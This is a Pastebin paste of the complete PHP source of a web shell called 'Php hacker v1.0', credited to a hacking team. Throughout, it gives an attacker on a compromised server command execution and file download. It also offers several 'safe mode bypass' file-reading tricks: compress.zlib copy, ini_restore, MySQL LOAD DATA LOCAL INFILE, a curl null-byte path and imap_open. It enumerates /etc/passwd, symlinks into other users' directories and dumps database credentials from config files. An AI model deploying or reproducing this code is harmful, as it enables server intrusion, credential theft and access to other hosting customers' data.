1337_Brain

Php hacker v1.0

Jul 14th, 2014
551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.72 KB | None | 0 0
  1. <?
  2. /*###########################################
  3. NameScrip : Php hacker v1.0
  4. Private For Hack15 Members ..
  5. Coder By GeNiUs HaCkEr - Team Hack15
  6. WwW.Hack15.CoM                           
  7. ###########################################*/
  8. error_reporting(0);
  9. set_magic_quotes_runtime(0);
  10. if(version_compare(phpversion(), '4.1.0') == -1)
  11.  {$_POST   = &$HTTP_POST_VARS;$_GET    = &$HTTP_GET_VARS;
  12.  $_SERVER = &$HTTP_SERVER_VARS;
  13.  }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
  14. if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
  15. elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
  16. else{return $requ."?".$link."=".$val;}}
  17. function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";}
  18. function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
  19. $nscmd=htmlspecialchars($scmd);print $nscmd;}
  20. elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
  21. $ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
  22. elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
  23. while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
  24. print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
  25. ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
  26. ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
  27. print htmlspecialchars($pret);}}
  28. function input($type,$name,$value,$size)
  29. {if (empty($value)){print "<input type=$type name=$name size=$size>";}
  30. elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
  31. elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
  32. else {print "<input type=$type name=$name value=$value size=$size >";}}
  33. function permcol($path){if (is_writable($path)){print "<font color=#008080>";
  34. callperms($path); print "</font>";}
  35. elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
  36. callperms($path); print "</font>";}
  37. else {print "<font color=white>";callperms($path);}}
  38. if ($dlink=="dwld"){download($_REQUEST['dwld']);}
  39. function download($dwfile) {$size = filesize($dwfile);
  40. @header("Content-Type: application/force-download;name=$dwfile");
  41. @header("Content-Transfer-Encoding: binary");
  42. @header("Content-Length: $size");
  43. @header("Content-Disposition: attachment; filename=$dwfile");
  44. @header("Expires: 0");
  45. @header("Cache-Control: no-cache, must-revalidate");
  46. @header("Pragma: no-cache");
  47. @readfile($dwfile); exit;}
  48. ?>
  49. <html>
  50. <head><title>Hack15Shell</title></head>
  51. <style>
  52. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: #008080; }
  53. a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px}
  54. a:hover{color:#008080}
  55. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17}
  56. textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;}
  57. div{font-size:12px;font-family:tahoma;font-weight:normal;color:whitesmoke}
  58. select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style>
  59. <body bgcolor=black text=white><font face="sans ms" size=3>
  60. </body>
  61. </html>
  62. <?
  63. $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
  64. $sf="<form method=post>";$ef="</form>";
  65. $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
  66. $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
  67. $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
  68. $sta="<textarea cols=157 rows=23>";$eta="</textarea>";
  69. $sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
  70. ################# Editing By User ########################
  71. ///////////////////////////////
  72.                              //
  73. $mysql_use = "no"; //"yes"   //
  74. $mhost = "localhost";        //
  75. $muser = "root";             //
  76. $mpass = "pass";             //
  77. $mdb = "name";               //
  78. $them = "xxx"; //any site    //
  79. $you = "xx"; //your username //
  80. $flib = "hack15.txt";        //
  81. $folder = "hack15.txt";      //
  82. ///////////////////////////////
  83. ################# PhP Design (Start) ########################
  84. delm(": Php Hacker v1.0 (Shell) :");
  85. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>[ Php hacker v1.0 ]::[ Owned By Yourname ]
  86. </font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
  87. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "<a href=".inclink('linux', 'greet').">Gr33tz To</a>";
  88. print " - <a href='javascript:history.back()'>Back</a>";
  89. print "</td></tr></table>";
  90. echo "<br>";
  91. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  92. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  93.     {
  94.      $safemode = true;
  95.      $hsafemode = "<font color=\"red\">ON (secure)</font>";
  96.     }
  97.     else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
  98.     echo("Safe-mode: $hsafemode");
  99. print "</td></tr></table>";
  100. echo "<br>";
  101. ################# PhP Hacked ########################
  102. // read greet //
  103. if ($linux=='greet')
  104. {
  105. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  106. echo "GeNiUs HaCkEr & Blood Hacker & Mr.ALJoOoKeR & Dr_Whad_Drb & Saudi Hunter & Saudi Coder &  ROMANCY-HACKER & Qatil_Albasik & Caeser & KsA HaCkEr & Hacker Zero & Mr.Shares & Dr.Shares
  107. ";
  108.   echo "</textarea>";
  109. }
  110. // read file unzend sorce //
  111. if(empty($_POST['sorce'])){
  112. } else {
  113.  
  114. }
  115. // read file unzend functions //
  116.  if(empty($_POST['func'])){
  117. } else {
  118. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  119. $zeen=$_POST['func'];
  120. require("$zeen");
  121. echo "Database : ".$config['Database']['dbname']." <X> ";
  122. echo "UserName : ".$config['MasterServer']['username']." <X> ";
  123. echo "Password : ".$config['MasterServer']['password']." <X> ";
  124. echo "</textarea></p>";
  125. }// read file symlink ( ) //
  126. if(empty($_POST['sym'])){
  127. } else {
  128. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  129. $fp = fopen("hack15.txt","w+");
  130. fwrite($fp,"Php Hacker Was Here");
  131. @unlink($flib);
  132. $sym = "/home/" . $them . "/public_html/" . $k;
  133. $link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
  134. @symlink($sym, $link);
  135. if ($k{0} == "/") {
  136. echo "<script> window.location = '" . $flib . "'</script>";
  137. }else{
  138. echo "<pre><xmp>";
  139. echo readlink($flib) . "\n";
  140. echo "Filesize: " . linkinfo($flib) . "B\n\n";
  141. echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
  142.   echo "</textarea>";
  143. }
  144. }
  145.  
  146. // read file plugin ( ) //
  147. if(empty($_POST['plugin'])){
  148. } else {
  149. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  150. for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  151.  $ara = posix_getpwuid($uid);
  152.   if (!empty($ara)) {
  153.        while (list ($key, $val) = each($ara)){
  154.         print "$val:";
  155.   }
  156.   print "\n";
  157.      }
  158.   }
  159.   echo "</textarea>";
  160. }
  161. // read file id ( ) //
  162. if ($_POST['rid'] ){
  163. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  164.  for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  165. $ara = posix_getpwuid($uid);
  166.  if (!empty($ara)) {
  167. while (list ($key, $val) = each($ara)){
  168. print "$val:";
  169. }
  170.  print "\n";
  171. }
  172.  }
  173. echo "</textarea>";
  174. break;
  175.  
  176.  }
  177. // read file imap ( ) //
  178. $string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
  179. if(empty($_POST['rimap'])){
  180. } else {
  181. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  182. $stream = imap_open($string, "", "");
  183. $str = imap_body($stream, 1);
  184. echo "</textarea>";
  185. }
  186. // read file Curl ( ) //
  187. if(empty($_POST['curl'])){
  188. } else {
  189. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  190. $m=$_POST['curl'];
  191. $ch =
  192. curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
  193. curl_exec($ch);
  194. var_dump(curl_exec($ch));
  195. echo "</textarea>";
  196. }
  197.  
  198. // read file SQL ( ) //
  199. if(empty($_POST['ssql'])){
  200. } else {
  201. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  202. $file=$_POST['ssql'];
  203.  
  204.  
  205. $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  206. $mysql_files = explode(':', $mysql_files_str);
  207.  
  208. $sql = array (
  209. "USE $mdb",
  210. 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  211. "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  212. . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  213. . "ESCAPED BY          '' "
  214. . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  215.  
  216. "SELECT a FROM $tbl LIMIT 1"
  217. );
  218. mysql_connect ($mhost, $muser, $mpass);
  219.  
  220.                                 foreach ($sql as $statement) {
  221.                                    $q = mysql_query ($statement);
  222.  
  223.                                    if ($q == false) die (
  224.                                       "FAILED: " . $statement . "\n" .
  225.                                       "REASON: " . mysql_error () . "\n"
  226.                                    );
  227.  
  228.                                    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  229.  
  230.                                    echo htmlspecialchars($r[0]);
  231.                                    mysql_free_result ($q);
  232.                                 }
  233. echo "</textarea>";
  234. }
  235.  
  236.  
  237.  
  238. // read file copy & ini ( ) //
  239. if (isset ($_REQUEST['safefile'])){
  240. $file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
  241. if(empty($_GET['file'])){if(empty($_POST['file'])){
  242. print "<center>[ Please choose a file first to read it using copy() ]</center>";
  243. } else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
  244. $temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
  245. $zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
  246. fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
  247. print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
  248. </CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
  249. ini_restore("safe_mode");ini_restore("open_basedir");
  250. print "<center><pre>".$sta;
  251. if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";}
  252. delm(": Safe mode bypass :");
  253. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  254. print "<tr><td width=50%><div align=left>";
  255. print $st.$c1."<div><b><center>Using copy() function</div>";
  256. print $ec.$c2.$sf."&nbsp;";
  257. input("text","safefile",$nscdir,75);
  258. input("hidden","scdir",$nscdir,0);print " ";
  259. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  260. print "</td><td height=20% width=50%><div align=right>";
  261. print $st.$c1."<div><b><center>Using ini_restore() function</div>";
  262. print $ec.$c2.$sf."&nbsp;";
  263. input("text","inifile",$nscdir,75);
  264. input("hidden","scdir",$nscdir,0);print " ";
  265. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  266. print "</td></tr></table>";
  267. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  268. print "<tr><td width=50%><div align=left>";
  269. print $st.$c1."<div><b><center>Using sql() function</div>";
  270. print $ec.$c2.$sf."&nbsp;";
  271. input("text","ssql",$nscdir,75);
  272. input("hidden","scdir",$nscdir,0);print " ";
  273. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  274. print "</td><td height=20% width=50%><div align=right>";
  275. print $st.$c1."<div><b><center>Using Curl() function</div>";
  276. print $ec.$c2.$sf."&nbsp;";
  277. input("text","curl",$nscdir,75);
  278. input("hidden","scdir",$nscdir,0);print " ";
  279. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  280. print "</td></tr></table>";
  281. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  282. print "<tr><td width=50%><div align=left>";
  283. print $st.$c1."<div><b><center>Using imap() function</div>";
  284. print $ec.$c2.$sf."&nbsp;";
  285. input("text","rimap",$nscdir,75);
  286. input("hidden","scdir",$nscdir,0);print " ";
  287. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  288. print "</td><td height=20% width=50%><div align=right>";
  289. print $st.$c1."<div><b><center>Using id() function</div>";
  290. print $ec.$c2.$sf."&nbsp;";
  291. input("text","rid",$nscdir,75);
  292. input("hidden","scdir",$nscdir,0);print " ";
  293. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  294. print "</td></tr></table>";
  295. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  296. print "<tr><td width=50%><div align=left>";
  297. print $st.$c1."<div><b><center>Using plugin() function</div>";
  298. print $ec.$c2.$sf."&nbsp;";
  299. input("text","plugin",$nscdir,75);
  300. input("hidden","scdir",$nscdir,0);print " ";
  301. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  302. print "</td><td height=20% width=50%><div align=right>";
  303. print $st.$c1."<div><b><center>Using symlink() function</div>";
  304. print $ec.$c2.$sf."&nbsp;";
  305. input("text","sym",$nscdir,75);
  306. input("hidden","scdir",$nscdir,0);print " ";
  307. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  308. print "</td></tr></table>";
  309. delm(": Unzend Config :");
  310. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  311. print "<tr><td width=50%><div align=left>";
  312. print $st.$c1."<div><b><center>Connect To Functions Of Config</div>";
  313. print $ec.$c2.$sf."&nbsp;";
  314. input("text","func",$nscdir,75);
  315. input("hidden","scdir",$nscdir,0);print " ";
  316. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  317. print "</td></tr></table>";
  318. ?><?
  319. print "<br><table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";
  320. print"<tr><td><font size=2 face=tahoma>";
  321. print"<center>Coder By GeNiUs HaCkEr <br>[ Team Hack15 :: Go to : <a target='_blank' href='http://www.Hack15.com'>Http://Hack15.com</a> ]";
  322. print"</font></td></tr></table>";
  323. ?>
Advertisement
Add Comment
Please, Sign In to add comment